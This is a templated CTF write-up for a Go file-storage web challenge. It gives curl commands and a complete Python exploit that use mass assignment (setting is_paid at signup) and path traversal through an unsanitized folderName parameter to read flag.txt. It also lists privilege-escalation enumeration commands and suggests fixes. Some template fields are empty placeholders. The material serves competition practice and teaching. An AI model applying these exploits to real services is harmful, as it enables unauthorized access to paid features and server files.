90 - Самое надежное хранилище (The Most Secure Storage)
90 - Самое надежное хранилище (The Most Secure Storage)
Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-15 | Status: Solved Techniques: jwt_authentication, mass_assignment_bypass, path_traversal_via_parameter
Summary
Task: Go file storage with JWT authentication. Solution: Mass assignment to set is_paid=true during registration, then path traversal via unsanitized folderName parameter to read flag.txt from root directory.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
duckerz| ID:20260115_duckerz_secure_storage - Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection
- Indicators: json.Unmarshal into struct with sensitive fields, filepath.Join without sanitization, is_paid/premium flag in user struct, folder parameter in URL
- Source:
20260115_duckerz_secure_storage.md
Foothold
Vulnerability / Misconfiguration
- Jwt_authentication
- Mass_assignment_bypass
- Path_traversal_via_parameter
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- jwt_authentication
- mass_assignment_bypass
- path_traversal_via_parameter
- Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection
Original Writeup
<details><summary>Click to expand original content</summary>Description
Решил переделать надежное хранилище, в самое надежное хранилище. Теперь ваши файлы будут защищены, честно...
(Decided to remake the secure storage into the most secure storage. Now your files will be protected, honestly...)
- URL: http://tasks.duckerz.ru:30067
- Source: https://download.tasks.duckerz.ru/SecureStorage/secure_storage.zip
Analysis
The application is a file storage service written in Go with JWT authentication. Source code analysis revealed two critical vulnerabilities.
Vulnerability 1: Mass Assignment / JSON Injection
In the signUpRoutePost function, form data is directly deserialized into the User struct:
data := c.FormValue("data")
if err := json.Unmarshal([]byte(data), &user); err != nil {
return c.String(http.StatusBadRequest, "Invalid data")
}
The User struct contains an IsPaid field that determines access to premium features:
type User struct {
UserId int64 `json:"user_id"`
Username string `json:"username"`
Password string `json:"password"`
IsPaid bool `json:"is_paid"`
}
Problem: The is_paid field can be set during registration, bypassing the payment check.
Vulnerability 2: Path Traversal in folderName Parameter
In the downloadFileFromFolderRouteGet and folderRouteGet functions, the folderName parameter is not sanitized:
// Protection is applied only to the file parameter, but NOT to folderName! fileSplit := strings.Split(file, "/") return c.File(filepath.Join(userRootPath, folderName, fileSplit[len(fileSplit)-1]))
Problem: You can use ../ in folderName to escape the user's directory.
Solution
Step 1: Registration with is_paid: true
curl -X POST "http://tasks.duckerz.ru:30067/signup" \
-d 'data={"username":"hacker","password":"password123","is_paid":true}' \
-c cookies.txt
This creates a user with premium access and saves the JWT token to cookies.txt.
Step 2: Listing Root Directory via Path Traversal
curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/folder/../.."
Important: The --path-as-is flag prevents URL normalization in curl, preserving ../ in the request.
The response shows the contents of the application's root directory, including flag.txt.
Step 3: Downloading the Flag
curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/file/flag.txt/folder/../.."
Exploit (Python)
#!/usr/bin/env python3
"""
Exploit for "Самое надежное хранилище" (The Most Secure Storage)
DUCKERZ CTF - Task 90
Vulnerabilities:
1. Mass Assignment - set is_paid=true during registration
2. Path Traversal - unsanitized folderName parameter
"""
import requests
import random
import string
BASE_URL = "http://tasks.duckerz.ru:30067"
def random_username():
return ''.join(random.choices(string.ascii_lowercase, k=8))
def exploit():
session = requests.Session()
# Step 1: Register with is_paid=true (Mass Assignment)
username = random_username()
payload = {
"username": username,
"password": "password123",
"is_paid": True # Bypass payment check
}
print(f"[*] Registering user '{username}' with is_paid=true...")
resp = session.post(
f"{BASE_URL}/signup",
data={"data": str(payload).replace("'", '"').replace("True", "true")}
)
if "auth" not in session.cookies:
print("[-] Registration failed")
return
print("[+] Registration successful, got JWT token")
# Step 2: List root directory via path traversal
print("[*] Listing root directory...")
resp = session.get(f"{BASE_URL}/folder/../..")
print(f"[*] Directory contents: {resp.text[:200]}...")
# Step 3: Download flag.txt
print("[*] Downloading flag.txt...")
resp = session.get(f"{BASE_URL}/file/flag.txt/folder/../..")
if "DUCKERZ{" in resp.text:
print(f"[+] Flag: {resp.text.strip()}")
else:
print(f"[-] Response: {resp.text}")
if __name__ == "__main__":
exploit()
Defense
Against Mass Assignment:
// Use a separate struct for registration
type SignUpRequest struct {
Username string `json:"username"`
Password string `json:"password"`
// Do NOT include is_paid!
}
Against Path Traversal:
// Validate ALL path parameters
func sanitizePath(input string) string {
// Remove all ../ and ./
cleaned := filepath.Clean(input)
// Check that path doesn't escape
if strings.Contains(cleaned, "..") {
return ""
}
return filepath.Base(cleaned)
}
References
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- OWASP Mass Assignment
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR